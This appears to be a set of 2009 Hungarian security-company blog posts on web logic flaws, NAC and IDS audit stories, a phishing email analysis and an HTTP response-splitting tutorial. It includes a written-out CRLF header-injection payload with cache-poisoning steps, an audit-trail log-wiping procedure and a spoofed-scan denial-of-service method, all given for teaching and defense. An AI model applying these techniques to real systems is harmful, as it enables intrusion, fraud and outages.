Webalkalmazások biztonsági hibái - 8. Hibák az alkalmazás logikájában

Betörési tesztjeink során gyakran találkozunk azzal a jelenséggel, hogy a weboldalak fejlesztői ugyanazokat a hibákat követik el újra és újra. Ezen klasszikus hibákat egy több részből álló sorozatban szeretnénk bemutatni.

Az előző részekben bemutatott jelenségek főként a "sebezhetőség" kategóriába sorolhatóak: kinyerhető általuk a webalkalmazás mögött futó adatbázis tartalma, ellopható a belépett felhasználók sessionje stb. Több olyan problémával is találkoztunk azonban, amelyek közvetlenül nem kompromittálnak semmit, ennek ellenére igen súlyos következményekkel jár, ha a támadó (vagy ezekben az esetekben, mint látni fogjuk, belsős alkalmazott, adott esetben rendszeradminisztrátor) kihasználja őket: a problémák az alkalmazás logikájában bújnak meg.

Az ilyen jellegű hibák megtalálása igen nehéz, ugyanis többnyire nem gépesíthetőek, és az alkalmazás meglehetősen mélyreható ismerete szükséges a felfedezésükhöz (illetve ahhoz, hogy a ránézésre amúgy teljesen normálisan viselkedő webalkalmazás képernyőin, kimenetein felismerjék a tesztelők, hogy nem az elvárt működés szerint zajlanak az események). Lássunk néhány tipikus esetet a problémák érzékeltetésére.

Bevásárlókosarak megvalósítása - negatív mennyiségű áruk
A tesztelt alkalmazás egy on-line shop rendszer volt, ahol a felhasználó egy "bevásárlókosárba" tudta gyűjteni a megvásárolni kívánt elemeket. Volt egy mező, ahol megadhatta, hogy hány darabot szeretne rendelni az egyes termékekből, a kosár kezelését végző függvény új elem hozzáadásakor frissítette a kosár összárát szumma(darab*egységár) függvény alapján.

A hiba ott volt, hogy nem végzett ellenőrzést a függvény annak tekintetében, hogy negatív darabszámú termék is rendelhető volt: -1 plazmatévé rendelésekor a kosár összértékéből annak rendje és módja szerint levonódott a plazmatévé ára.

Bevásárlókosarak megvalósítása - párhuzamos bejelentkezések buta kezelése
Ugyanez a webbolt: bejelentkezés nélkül lehetővé tette a felület a kosár bővítését, viszont a megrendelés elküldéséhez be is kellett jelentkezni. A bejelentkezett felhasználókhoz különféle kedvezmények és akciók voltak hozzárendelve, emiatt egy kedvezménnyel rendelkező felhasználó végül is kevesebbet fizetett a kosár tartalmáért, mint amit bejelentkezés előtt látott. A kedvezményeket az alkalmazás logikája a megrendelés elküldése előtti képernyőn vonta le a kosár értékéből, és a megrendelés elküldésekor az alacsonyabb árat számlázták.

A hiba ott volt, hogy a kiszámlázott ár frissítése nem történt meg, csak az utolsó képernyőre lépéskor, viszont a kosár tartalma egy párhuzamos bejelentkezéssel módosítható volt. Tehát a felhasználó a A böngészőben megrendel egy darab csizmakaparót és elviszi a vásárlási folyamatot az utolsó gombig, majd a B ablakban hozzárendel tizenhárom darab plazmatévét (beleteszi a tévéket a kosárba). Az A böngészőben ekkor elküldi a megrendelést, amely a régi árat tartalmazza (a csizmakaparóét), viszont az új kosárral.

Audit trail
Pénzintézeti megrendelő, érzékeny adatokat kezelő webportál. A bejelentkezett felhasználók minden lépéséről log készül, amelyben szerepel a bejelentkezett felhasználó azonosítója, a lépés megnevezése, az érintett adatok köre stb. Az audit trailbe beletartoznak az adminisztrátorok is, és az adminisztrátori felületen lehetőség van az audit trail során keletkezett naplók megtekintésére és a bejegyzések módosítására, törlésére is - azonban magáról a törlésről, módosításról készül bejegyzés, és tisztán látható, hogy melyik adminisztrátor végezte.

Igen ám, de az adminisztrátorok számára lehetséges új felhasználót létrehozni, és különféle jogosultságokat adni neki szerepkörök ("sapkák") formájában - akár egy újabb adminisztrátort is. Az okosság tehát a következő:

1. Az adminisztrátor belép a saját accountjával.
2. Létrehoz egy dummy accountot, aminek adminisztrátori jogokat ad.
3. A dummy accounttal belép, elvégzi, amit el szeretne.
   
4. A dummy accounttal törli az összes logot, ami az account létrehozása és felhasználása során keletkezett (ezáltal a dummy nem lesz köthető az eredeti admin accountjához).
   

A művelet eredményeképp marad egy darab bejegyzés, ami a dummy account logtörlését mutatja - azt azonban, hogy a dummy hogy jött létre, nem lehet kideríteni a trailből.

Nem várt adatok
Biztosító, on-line kötelezőkötő felület. A biztosítás megkötése során többlépcsős folyamaton vezetik végig a felhasználót, minden képernyőn egy témakörben kell adatokat megadni (első képernyőn a személyi adatok, másodikon a kocsi adatai stb.) A képernyők között egyszerűen lehet előre-hátra lépkedni, mert a feldolgozó AJAX-alkalmazás egy objektumban gyűjti a szerződés és az ügyfél adatait, csak a tranzakció lezárásakor küldi az egészet "hátra" a háttérrendszerekbe. Az egyes képernyőkön bevitt információk szigorú szintaktikai és szemantikai ellenőrzésen esnek át elküldéskor.

A hiba ott volt, hogy az ellenőrzés során végigment a validátor az összes olyan inputon, amit az adott képernyőn meg lehet adni, viszont nem ellenőrizte, hogy van-e olyan paraméter, amit nem az adott képenyőn kellene megadni, mégis a kérésben érkezett. Ilyen "extra" paraméter megkapásakor - mivel egy egyszerű foreach-ciklussal iterált végig a feldolgozószkript a validálást követően a GET tömbön - teszőleges mezőjét lehetett írni a tranzakciót leíró objektumnak. Ennek eredményeképp az első képenyőn egy intercepting HTTP proxy (webscarabot használtunk) segítségével ki lehet egészíteni az elküldött GET-kérést tetszőleges paraméterekkel, amik viszont nem esnek át validáláson. A folytatást mindenki kitalálhatja: SQL injection, de finomabb támadások is kidolgozhatóak voltak. Például kimondottan sunyi megoldás az, amikor megváltoztatjuk kézzel a kocsi járműkategóriáját (ami eredetileg egy adatbázisból került a tömbbe a kocsi típusa és egyéb adati alapján).

Könyvajánló - No-tech hacking: A Guide to Social Engineering, Dumpster Diving and Shoulder Surfing

Egészen kiváló könyvre akadtunk nemrég egy on-line könyvesboltban. A könyvet Johnny Long jegyzi (egy előadását már bemutattuk blogon és aki meghallgatta, biztosan mosolyog már a könyv hallatán), és a témáját tekintve egybecseng az előadás témáival.

A könyvbe itt lehet beleolvasni:

http://www.amazon.com/No-Tech-Hacking-Engineering-Dumpster/dp/1597492159#reader

Jó olvasást!

Ne bántsátok a hackereiteket!

Az alábbi írás kollégánk személyes véleményét tükrözi, az abban foglaltakkal a Stratis nem feltétlenül azonosul.

Nemrég Berlinben jártamban-keltemben bementem Németország egyik legnagyobb könyvesboltjába a Friedrichstrassén, és a negyedik szinten szemügyre vettem az IT-témájú könyveket. Sokat vártam a körbenézéstől, ugyanis a bolt bejáratán ott díszelegnek az O'Reilly, a Cisco Press és számos egyéb neves kiadó logói: olyan könyveket lehet itt a kényelmes kanapékon tejeskávézás közben lapozgatni, amelyek kis hazánkba maximum az Amazonról jutnak el futárszolgálattal, meglehetősen borsos áron. Sajnos csalódás lett a dologból: a temérdek Photoshop, 3DS MAX, Xp/Server2008/Ubuntu for beginners/stb. könyv mellett nulla, azaz totálisan zéró darab biztonsági témájú könyvet tartanak a boltban. Kérdeztem az eladót, hogy IT-Sicherheit témában hol találok olvasnivalót, de a srác tágra nyílt szemmel, majdhogynem suttogva mondta, hogy ilyesmit pár éve nem árulhatnak Németországban, a vonatkozó témájú anyagokat illegális letöltéssel, vagy külföldön élő ismerősökhöz rendelik meg az érdeklődők.

Meglepett a dolog, és kicsit utánaolvastam: 2007 tavaszán hoztak olyan törvényeket Németországban (nem sokra rá pedig az Egyesült Királyságban), amelyek nem kis felháborodást és vihart kavartak IT-biztonsági körökben, ugyanis a sogenannte "hacking tool" kategóriába eső szoftverek használatát és telepítését törvényellenesnek és büntetendőnek minősítették. A törvény ellenzői azzal érveltek, hogy nem lehet egyértelműen veszélyesnek minősíteni egy eszközt pusztán a funkciói alapján, ugyanis rendszeradminisztrátorok, biztonsági szakemberek legitim célokra használják ezen eszközöket - hasztalan.

Ezzel pedig együtt jár az is, hogy a "veszélyes" tudást átadó könyveket, anyagokat egész egyszerűen kitiltották a könyvesboltokból. Amiről nem lehet könyvet kapni, az nincs, tehát nem jelent veszélyt: a derék német honpolgárok nem tudják meg azt, hogy mit jelent az Xmas-scan, vagy hogy hogyan lehet exploitot összerakni egy rosszul megírt SUID-os programhoz.

Doublethink, teccikérteni.

A téma jóval túlmutat azon, hogy Németországban milyen eszközöket (nem) szabad telepíteni: körbejárva karcolgatjuk azt, hogy az internettel terjedésével, a vebkettővel és a mindennapi munkavégzés "onlájnizálódásával" járó kockázatokkal nemigen tudunk mit kezdeni. A cél, a törekvés persze érthető és teljesen elfogadható: igenis lehessen elítélni a spammelőket, a botneteket pénzért építő és zsarolási célokra bérbeadó "szakembereket", az adathalászokat és az ipari kémeket, viszont ezekkel az intézkedésekkel pont az ellenkezőjét fogják elérni annak, amiért végül is a törvények születtek.

Egyrészről a tudás attól, hogy nincs szem előtt, még mindig elérhető. Azokat a könyveket, amiket nem lehet kapni a boltokban, az esetek 99%-ában le lehet tölteni az internetről, vagy külföldön be lehet szerezni.

Másrészről azok az eszközök, amiket széles mozdulattal átlöktek a szürke zónából a feketébe, sok esetben éppenhogy növelik az információ biztonságát azáltal, hogy a rendszerek üzemeltetői, adiminisztrátorai a támadások során használt eszközökkel vizsgálhatják az eszközeiket. Nyilván van igazság abban is, hogy ezekkel az eszközökkel kárt is lehet okozni, de erre megoldást jelent az, hogy minden esetben büntetik a birtoklásukat, függetlenül attól, hogy milyen célokra (nem) használják őket?

Harmadik oldalról ez az intézkedés lehetővé teszi azoknak a srácoknak a gyors pellengérre állítását és nyilvános meghurcolását, akik szólnak a felfedezett biztonsági hiányosságokról az érintett rendszerek üzemeltetőinek. A legtöbb esetben sajnos az a tapasztalat, hogy addig nem történik semmi érdemleges, amíg tényleges kár nem következik be a sebezhetőség, hiba miatt (akár reputációs kár -"indexcímlap-faktor"-, akár tényleges anyagi), vagy ha történik is, rendőrségi ügy lesz az ellen, aki szólt a hibáról: miért is hekkelgeti a gyerek itten a rendszereinket?!

Negyedrészt ott van az, hogy a legtöbb biztonsági hiányosság kihasználásához (pl. SQL injection) egészen egyszerűen nem kell céleszköz, elég egy mezei böngésző. Portscannelni is lehet böngészőből, tehát a "veszélyes" eszközök magukban foglalják a böngészőket is. A Microsoft fejleszt böngészőt - ezek szerint perelhető?

A megoldást nem ezen az úton kell keresni. Tessék biztonságosan és biztonságtudatosan kódolni. Tessék biztonságtudatos protokollokat alkotni. Tessék oktatni a biztonságos rendszerüzemeltetési alapelveket (találkoztam üzemeltetővel és fejlesztővel, akiket meg kellett győzni arról, hogy nem jó ötlet plain-textben tárolni a felhasználók jelszavait). Tessék határvonalat húzni a valódi veszélyek, az ipari kémkedés és a "sziasztok! Találtam egy hibát az oldalatokon"-jellegű tevékenységek közé. És végül, de nem utolsó sorban igenis, tessék képezni a felhasználókat: legyen fogalmuk arról, hogy milyen veszélyek leselkednek rájuk.

A problémák és a veszélyek itt vannak köztünk. Attól nem múlnak el, hogy (mások) homokba dugják a fejeket.

2009. május
Kovács Zsombor

Network Access Control alulnézetből

Tanulságos történet, amelynek természetesen semmi köze a valósághoz, mindennemű hasonlóság a véletlen műve.

Nemrég auditáltunk egy hálózatot, amely Network Access Controlt implementál és a hálózathoz történő távoli csatlakozáshoz a Nagy, Hidas Jelvényű Amerikai Hálózati Gyártó compliance-kliensét kellett telepíteni.

A kliens rengeteg mindent ellenőriz a gépünkön, mielőtt csatlakozhatnánk a hálózathoz és adatforgalmat kezdhetnénk meg rajta: ellenőrzi, hogy minden biztonsági frissítés telepítésre került-e a gépre, nincsenek-e illegális eszközök telepítve, kielégítő vírusvédelem és személyi tűzfal üzemel-e. Amennyiben mindent rendben talál és még a felhasználónevünk-jelszavunk is stimmel, hozzáenged a hálózathoz VPN-nel, és már forgalmazhatunk is.

A tesztelésre használt gép sok kritériumnak nem felelt meg: egyrészt nem volt rajta víruskergető (nyilván, hiszen karanténba tette volna a teszteszközök 80%-át "Achtung! Dangerous hacking tool!"-hibaüzenettel), másrészt nem volt beléptetve a megrendelő domainjébe. Kíváncsiak voltunk, hogy mi történik, ha a klienssel megpróbálunk csatlakozni: biztosra vettük, hogy egy mogorva hibaüzenetnél tovább semmiképp sem jutunk.

Hogy hová kell csatlakozni, illetve mit kell telepíteni a távoli eléréshez, egy készséges FAQ-oldal elárulta a megrendelő weboldalán. Felhasználónevet és jelszót szerezni sem volt sokkal nehezebb, ugyanis a megrendelő könnyen kitalálható szerkezető e-mailcímeket alkalmazott, amelyek előtagja a felhasználónév volt; egy célzott google-keresésből 18 accountnévvel lettünk gazdagabbak, amelyek közül az egyik jelszava "Almafa123" volt.

A teszt következő fázisaként próbaképp csatlakoztunk a felhasználónévvel-jelszóval a hálózathoz: azt vártuk, hogy hibaüzenetet kapunk: nem felel meg a policy-nak, ezért nem enged be. Egészen meglepődtünk, de beengedett a hálózat, noha mosolyunk kissé lehervadt: egy izolált, korlátozott elérésű VLAN-ba tette gépünket az NAC, a hálózatból gyakorlatilag csak az intranetes webfelület volt elérhető, ahhoz azonban nem volt jó a VPN-es jelszó.

Sokkal érdekesebb volt azonban az, hogy a subneten körülnézve találtunk számtalan hosztot, amelyen biztosan nincs telepítve minden frissítés, illetve nincs tűzfal (hiszen az NAC előzékenyen összegyűjtötte nekünk őket). Nem is kellett sokáig kutatni, a tavaly év végi MS08-067-es sebezhetőség kijavítását több hoszton nem végezték el, így azok könnyű célpontnak bizonyultak.

Mint később kiderült, a kérdéses hosztok a megrendelő alkalmazottaihoz tartoztak és csak távoli eléréshez kellett az NAC-s procedúra, a belső hálózathoz csatlakozva gyakorlatilag ellenőrzés nélkül forgalmazhattak a 80-as porton, ilyen módon a felgyógyított, reverse http shell-t használó backdoorjainkkal szabadon kommunikálhattunk, ilyen módon hozzáférve mindenhez, amire az audit során törekednünk kellett.

Mi a történet tanulsága? Többet is összegyűjtöttünk.

1. Az NAC önmagában hatástalan, akkor láthatja csak el a feladatát, ha a betartatni kívánt policyt megszegőket nem engedi a hálózathoz. Az utólagos interjúk során kiderült, hogy az NAC-t eredetileg ebben a szellemben állították be, azonban az alkalmazottak panaszai miatt engedékenyre szabályozták.
   
2. Megfelelő erősségű jelszavak kellenek. Ennél többet nem is mondanánk.
   
3. A belső hálózathoz fizikailag csatlakozó hosztokat is kell szabályozni, tehát a házirendet nem betartó hosztokat semmilyen körülmények között nem szabad(na) hozzáengedni a hálózathoz.
4. A nem megfelelő hosztokat nem szabad(na) azonos VLAN-ba tenni, ahol egymással is kommunikálhatnak: a siker egyik kulcspontja az volt, hogy láttunk számtalan hosztot, amelyek biztosan nem felelnek meg az amúgy igen szigorú házirendnek.
   

Amikor Vahúr megharapja a Simabőrűt

Az IDS-ek és nagyobb testvéreik, a hangzatosan Integrált Határvédelmi Megoldásként aposztrofált IDS/IPS/spamszűrő/tűzfal/stb. rendszerek meglehetős népszerűségnek örvendenek, viszont a gyakorlatban, éles környezetben történő működés közben látott rendszerek legtöbbje sajnos nem képes hozni azt, amit várnak tőle - a legtöbb esetben azért, mert egész egyszerűen nem nyúlnak az eszközök default beállításaihoz.

Nemrég viszont találkoztunk olyan beállítással, ami leginkább agresszivitásával tűnik ki a gyakorlatban látott megoldások közül: az IDS rendszer in-line módon történt bekötésre a szerveres alhálózat átjárója elé, és azt a policyt alkalmazta, hogy támadás érzékelése esetén riasztotta az üzemeltetőket és kérdés nélkül blokkolta a "támadó" IP-címét meghatározott ideig tarpitting üzemmódban: az első két kapcsolati kérést azonnal továbbította, a harmadikat csak kis késleltetéssel, a negyediket nagyobbal stb., azaz előbb-utóbb valahol timeoutra fut a dolog a támadó részéről.

A rendszer másik beállítása a "we are under attack"-funkció volt, azaz ha az azonos hálózati szegmensből érkező támadások (pl. egy Internet-szolgáltató tartománya) száma időegység alatt elért egy bizonyos szintet, az egész tartományra vonatkozó policy-t rávezette egy DROP actionre - azaz lényegében letiltott minden forgalmazást az érintett tartományra.

A fenti beállításban az a félelmetes, hogy ennél hatékonyabban semmilyen támadó nem lenne képes megakadályozni, hogy a szerveres alhálózatba adatokat küldjenek az internet felől: a támadó egészen egyszerűen port scant indít az IDS "mögötti" hálózat valamely hosztja felé (nmap -D kapcslóval), a forrás IP-t pedig például a default gw IP-címére állítja, ez pedig traceroute-ből elég könnyen megtudható. Alkalmasint használható SYN flood is erre a célra, sok eszközön megadható a kiokádott csomagok fejlécébe hazudandó cím is.

További érdekes játékra ad lehetőséget az, hogy a belső felhasználói postafiókokat kiszolgáló belső Exchange cluster is a "védett" hálózaton üzemel, emiatt ha a támadó egy SMTP-szerver IP-címét hamisítja be a "from" IP-fejlécbe, rövid idő alatt lebéníthatja a cég bejövő levélforgalmát.

Nemrégiben írtunk arról, hogy mennyire veszélyes, ha a hálózatbiztonsági eszközök beállításaihoz nem nyúlnak hozzá üzembe helyezéskor - a fenti történet pont az ellenkező végletet jelenti, amikor az üzemeltetői paranoia a hálózat biztonságának rovására megy. Sokkal hatékonyabb és jobb megoldást jelent az, ha az IDS-szenzorok elrendezését és az IDS által megvalósított policyt hálózatra és fenyegetésre szabják - lehetőleg kockázatelemzés alapján, amiből kiesik, milyen támadások és kiesések jelenti a legnagyobb üzleti kárt.

Ormótlan phishing az MKB ellen

Ma reggel érkezett a postaládába az alábbi gyöngyszem: nem másról van szó, mint ormótlan és eléggé ügyetlen phishing-támadásról.

Tárgy:  Biztonsбgi intйzkedйsek
Dátum:  Fri, 15 May 2009 12:13:36 +0400
Feladó:  MKB Bank
Címzett:  undisclosed-recipients:;

 Kedves MKB ugyfel ,

Biztonsagi okokbol is felfuggesztettek a fiokjat, egy biztonsagi
intezkedes, amelynek celja, hogy megvedjuk Ont es szamla.
Meg kell ujra az adatokat a folyo fizetesi merleg visszaallitja a
mukodeset a fiokjat, es megerositi, hogy meg nem volt az aldozatok
szamitogepes lopas.
Meg kell ujra adja meg az adatokat a kovetkezo oldalon, hogy az
ellenorzesi folyamat soran:

https://www2.mkbnetbankar.hu/login.jsp?lang=HU&start=true (az eredeti levélben a link ide mutat:http://vl11s26.smart-servers.de/www1.mkbnetbankar.hu/login/mkbnetbankar )


Koszonjuk szives egyuttmukodeset.

© MKB Bank Zrt. Impresszum | Adatvedelmi iranyelvek | Jogi nyilatkozat

Mi szúrhat gyanút?

• A levél khm... meglehetősen érdekes akcentusú magyarsággal íródott.
• A fejlécben ciril karakterek olvashatók.
• Linket kapunk a levélben, amelyre kattintva "beléphetünk", azazhogy megadhatjuk adatainkat.
• A link valójában nem az MKB netbankjára mutat, hanem egy németországi tárhelyszolgáltató kezelésében lévő oldalra. Nem is igazán törődtek a levél küldői azzal, hogy hihetőre maszkírozzák különféle html-javascript varázslásokkal a linket, emiatt könnyen kiszúrható, hogy ez a link bizony nem az MKB oldalára mutat.
  
• Nagyon sürgős és nyomós, ám közelebbről nem meghatározott okot ír a levél arra vonatkozóan, hogy miért is kéne megadnunk az adatainkat a jelzett oldalon.
• Ha rákattintunk az oldal linkjére, karácsonyfára való piros figyelmeztetés jelenik meg a böngészőnkben, jelezvén, hogy itt bizony "reported phishing site" felé próbálunk adatot küldeni. Komolyan meg kell küzdeni, hogy ha meg akarjuk nézni az oldalt.
  

Vizsgálódjunk tovább. Ha megnézzük az e-mail borítékját, az alábbiakat látjuk:

Return-Path: 
X-Original-To: a.szerzo.cime@akarmi.hu
Delivered-To: a.szerzo.cime@akarmi.hu
Received: from Ontario.extremetool.com (ontario.extremetool.com
[12.18.13.250])
by szerver.hu (Postfix) with ESMTP id 374D2740B9
for <a.szerzo.cime@akarmi.hu>; Fri, 15 May 2009 10:13:26 +0200 (CEST)
Received: from User ([87.245.151.42]) by Ontario.extremetool.com with
Microsoft SMTPSVC(6.0.3790.3959);
Fri, 15 May 2009 03:14:17 -0500
From: "MKB Bank"
Subject: Biztonsбgi intйzkedйsek
Date: Fri, 15 May 2009 12:13:36 +0400
MIME-Version: 1.0
Content-Type: text/html;
charset="Windows-1251"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Message-ID: 
X-OriginalArrivalTime: 15 May 2009 08:14:17.0484 (UTC)
FILETIME=[243EACC0:01C9D535]
To: undisclosed-recipients:;

Az e-mail fejlécében szereplő Received: mezők alapján követhető vissza az, hogy a levél milyen SMTP-szervereken ment keresztül, mire a postaládába érkezett. Minden SMTP-szerver belefűzi a saját aláírását a levél fejlécébe, de akár törölhet is belőle, avagy tetszőlegesen megváltoztathatja az addigi bejegyzéseket. Leginkább a spamszűrők kicselezésére szoktak játszani ezzel a módszerrel (legalábbis egyes spamtesztek megnézik az SMTP-lánc bejegyzéseit, és ha gyanús elemet találnak, magas valószínűséggel kezelik spamként a levelet). A fejléc alapján a levél valódi feladója a 87.245.151.42 IP-címről küldte a levelet, ez pedig a whois adatbázisa szerint a NetKlab Servis nevű orosz cég hálózatához tartozik - valószínűleg igazat mondhat a fejléc, ugyanis a levél encodingja windows-1251 (azaz ciril kódlap) és több ciril karakter is olvasható a subjectben. Ennél pontosabb tippelést pusztán a levél ismeretében nem tudunk tenni.

Az ilyen jellegű phishing támadások nagy része a "hit-and-run" módszert követi, ugyanis az érintett domaineket meglehetősen hamar, néhány óra, maximum egy-két nap alatt felteszik a nemzetközi blacklistekre, és a böngészők temérdek figyelmeztetést küldenek a felhasználónak, akik kattintanak a felajánlott linkekre.

Ami a felhasználói oldalt illeti, nagyon egyszerű a szabály: a bankok soha, semmilyen körülmények között nem kérik e-mailen keresztül, hogy adjunk meg netbankos/telebankos ügyfélazonosító adatokat.

UPDATE: phishinggel kapcsolatos jogi szakvélemény itt olvasható:
http://www.drdudas.hu/ithirek/mkblevel

Üvegpaloták vs. 802.11

A napokban látott napvilágot egy tanulmány, amely amerikai és egyesült királyságbeli pénzügyi központok, irodaházak (azaz üvegpaloták) környékén fellelhető wifi-hálózatok biztonságát vizsgálta.

Az eredmények önmagukért beszélnek: az elemzett hálózatok biztonsági beállításai finoman szólva elégtelenek, ami meglehetős gyomortájéki bizsergést idéz elő, ha hozzávesszük azt is, hogy a sniffelés során összegyűjtött adatok jelentős arányban tartalmaznak érzékeny pénzügyi információkat, előrejelzéseket. Néhány számadat:

• A vizsgált hálózatok 57%-a nem használt semmilyen titkosítást, hitelesítést, illetve WEP-pel volt titkosítva (a WEP-et már számtalanszor eltemették szakmai fórumokon, ezért a WEP alkalmazása nem tekinthető semmilyen mértékben kielégítőnek a wifi-biztonsági világban)
• A vizsgált AP-k 23%-a neves enterprise gyártó terméke, amelyeken nem volt kielégítő titkosítás és hitelesítés.
  
• Ami talán még meglepőbb: a kliensek 13%-a ad-hoc wifi-hálózatokban forgalmazott (nagy a kísértés, hogy a tesztelő fellőjön egy "Free Wifi" hálózatot, és pókként várja a nem biztonságtudatos legyeket...)

Igencsak valószínűsíthető, hogy kis hazánkban sem tapasztalnánk gyökeresen mást. Betörési tesztek során a legmeglepőbb, amit találtunk, egy neves gyár biztonsági auditja során akadt horogra: a telephely 100%-osan le volt fedve egy, a gyár nevével megegyező SSID-jű hálózattal, amin semmilyen védelem nem volt, ráadásul a teljes hálózati infrastruktúra elérhető volt a back-office munkaállomásoktól kezdve a gyártósorokat vezérlő, hálózatba között céleszközökig(!).

Tanulság: vigyázzunk wireless hálózatainkra.

No-tech hacking - "Fatengelyes hackelés"

A betörési tesztelési szakma egyik legjobb, egyéni stílusú előadója Johnny Long (ha innét nem ismerős a neve, ő a "GoogleHacker Guy"). Az alábbi videó a DefCon konferencián bemutatott előadásáról készült: nemcsak a bemutatott "fatengelyes" hackelési módszerek miatt érdemes megnézni az előadást, hanem az előadó stílusából is sokat lehet tanulni.

Mire jó (azon kívül) az nmap?

Már az a nem biztonsági szakemberek hogy ha az „nmap” szót hallják, akkor veszélyes hackereszközre kell asszociálni. Az érdeklődőknek esetleg a „portscan” is felsejlik valahol. Az nmap-pal kapcsolatosan meglehetősen egyöntetű a „hackereszköz” kategória, viszont találkoztunk sok teljesen legitim feladattal, amelyre meglepően jól használható.

Az alap nmap kiszerelés például az alábbi esetekben jöhet jól (legalábbis ezekre már használtuk), viszont a scripting engine használatával elképesztően sokoldalú eszköz faragható belőle, jóval tovább bővítve a listát.

• Hálózatmonitorozás
• Szolgáltatásmonitorozás, esetlegesen összevetés az „engedélyezett” szolgáltatások listájával
• Tiltott szoftverek futásának ellenőrzése (pl. a Skype-ot elég könnyen megtalálni vele, ugyanis kedvenc csevegőeszközünk előszeretettel hallgatózik a szokásos HTTP-portokon)
• Stateless, buta tűzfalak szabályrendszerének ellenőrzése
  
• Tömeges reverse DNS feloldás (megfelelően paraméterezve és okos kimenetet használva több száz hoszt reverse feloldása és célzatos átfésülése is megvan néhány perc alatt)
  
• Alkalmazások stressztesztelése
  
• Stateful tűzfalak stressztesztelése
• Hálózati eszközök stressztesztelése
• Hálózati eszközök listájának automatizált összeállítása
• Nyitott portok listájának ellenőrzése
• TCP-szintű fuzzing
• TCP portokon hallgatózó backdoorok keresése
  
• Conflicker-keresés

Webalkalmazások biztonsági hibái - 7. HTTP header injection

Betörési tesztjeink során gyakran találkozunk azzal a jelenséggel, hogy a weboldalak fejlesztői ugyanazokat a hibákat követik el újra és újra. Ezen klasszikus hibákat egy több részből álló sorozatban szeretnénk bemutatni.

A kódinjektálási problémák kapcsán vannak olyan támadástípusok (például az XSS, avagy az SQL injection), amelyek jóval nagyobb figyelmet kapnak, mint mások, annak ellenére, hogy a „nem agyonreklámozott” injektálási problémáknak is legalább akkora támadási potenciáljuk lehet. Az egyik ilyen, előadásokban/szakmai fórumokon kisebb figyelmet kapó támadás a http header injection.

A http header injection azon alapszik, hogy a böngészőnket http header mezőkkel meglehetősen sok mindenre utasíthatják. A felhasználó mindezekről általában nem is kap visszajelzést, csak a végeredményt látja, aminek eredményeképp megjelenik az oldal a böngészőben. A http üzenetekkel sok mást is meg lehet tenni az oldal standard megjelenítésén kívül, például hanyag webfejlesztési szokás a redirect, illetve a google által kedvelt formátumú URL-kezelés megvalósítása közvetlenül a http-válasz fejlécekbe történő írással. Rossz példa az alábbi kódrészlet:

Index.php:
< ?php header(„Location: http://webapp.hu/fomenu.php?lang=$_GET[’lang’]”); ? >

Alapesetben az alábbi http-választ kapja a böngészőnk a http://webapp/index.php?lang=en kérés kiadása után:

HTTP/1.0 302 Redirect
Location: http://www.webapp.hu/fomenu.php?lang=en
Connection: Keep-Alive
Content-Length: 0

A következő lépésként követi az átirányítást, és lekéri a Location: mezőben szereplő oldalt, mindezt általában a felhasználó interakciója nélkül. Meglehetősen gyakori a megoldás, de milyen hibát rejt magában? Ha például a trükkös támadó az alábbi értéket adja a „lang” paraméternek:

Index.php?lang=a%0d%0aConnection:%20Keep-Alive%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0a%0aContent-Length:%2020%0d%0a%0d%0a<> ÁRTÓ, GONOSZ, ROSSZINDULATÚ KÓD < /html>

akkor a HTTP válasz az alábbi lesz:

HTTP/1.0 302 Redirect
Location: http://www.webapp.hu/fomenu.php?lang=a
Connection: Keep-Alive
Content-Length: 0

HTTP/1.0 200 OK
Content-Type: text/html
Content-Length: 20

<> ÁRTÓ, GONOSZ, ROSSZINDULATÚ KÓD< /html> Connection: Keep-Alive
Content-Length: 0

A fenti példában tehát egy http válasz helyett a böngészőnk két legitim, értelmes választ kap –innét a támadás neve, a HTTP response splitting attack. Ez önmagában még nem túl izgalmas (jó, igaz, meglehetősen sokat lehet játszani „idegen” domainekből letöltött javascriptekkel, de ez igazából klasszikus XSS), de gondoljuk végig, mi történik akkor, ha mondjuk cache funkciót is megvalósító http proxy-n keresztül netezünk: ebben az esetben a proxy URL és néhány egyéb paraméter alapján eltárolja a letöltött oldalakat, és a következő felhasználónak a cache-ben található példányt adja vissza. A http másrészről lehetőséget ad arra is, hogy egyszerre (azaz egy TCP-s kapcsolattal) több HTTP-kérést is kiadjunk, azaz kötegeljük a kéréseket. Kombináljuk össze a két oldalt, és már meg is van az alap proxy cache poisoning támadásunk:

1. A támadó egy kiválaszt egy oldalt, amelyet meg kíván mérgezni a proxy cache-ében. Legyen ez mondjuk az admin.php.
2. A támadó talál egy http header injection sebezhetőséget, mondjuk a fenti, nyelvkiválasztós-redirectes problémát. Összeállít egy olyan http response splitting exploitot, amely két http választ csinál az eredetiből: az első egy ártatlan, a második viszont az admin.php-t lecserélő html kódot tartalmazza (a mérget).
3. A http proxy-n keresztül felépít egy http-s kapcsolatot a sebezhető webalkalmazás felé, és a felépített kapcsolatban két http-kérést is kiad: az első tartalmazza az előzőekben összeállított exploitot, és egy másodikat, amely a lecserélni kívánt admin.php-t kéri le.
4. A cache proxy-n a fenti péla alapján három http válasz fog keresztülmenni a felhasználó felé: az első az „ártatlan” kérésre adott válasz, a második az admin.php-re „adott” mérgező válasz, és egy harmadik (amely voltaképpen az „igazi” admin.php), amellyel a proxy nem tud mit kezdeni, ezért eldobja. A trükk az, hogy mivel cache-el, eltárolja a másodikként kapott admin.php-t, és pont ez az, amit a fenti példában az ÁRTÓ, GONOSZ KÓDot tartalmazza.

A következő felhasználók, akik a cache-ből kapják az admin.php-t, bizony az ártó kódot töltik le.

Mit lehet tenni a dolog megelőzésére? Nem világrengető újdonság a megoldás: megfelelően kell kezelni a felhasználótól érkező inputokat.

Betörési teszteken használt eszközök friss listája

Az insecure.org pentest listáján is megjelent az a kezdeményezés, hogy a betörési tesztek során használt eszközökről összefoglaló táblázat, lista készüljön. Bár meglehetősen erős igény van (lenne) az ilyen jellegű ötletekre már csak az elérhető eszközök elképesztő száma miatt is, a legutóbbi "nagy" lista 2006-ban készült, szintén az insecure.org szárnyai alatt. A lista megtekinthető a http://sectools.org/ oldalon.

A 2009-es készletet szintén az olvasók szavazatai alapján állítják össze, és elérhető a http://securitytoolslist.domandhost.com/ oldalon. Folyamatosan frissül, érdemes nézegetni, ötletet meríteni belőle és frissíteni az eszközpakkot.

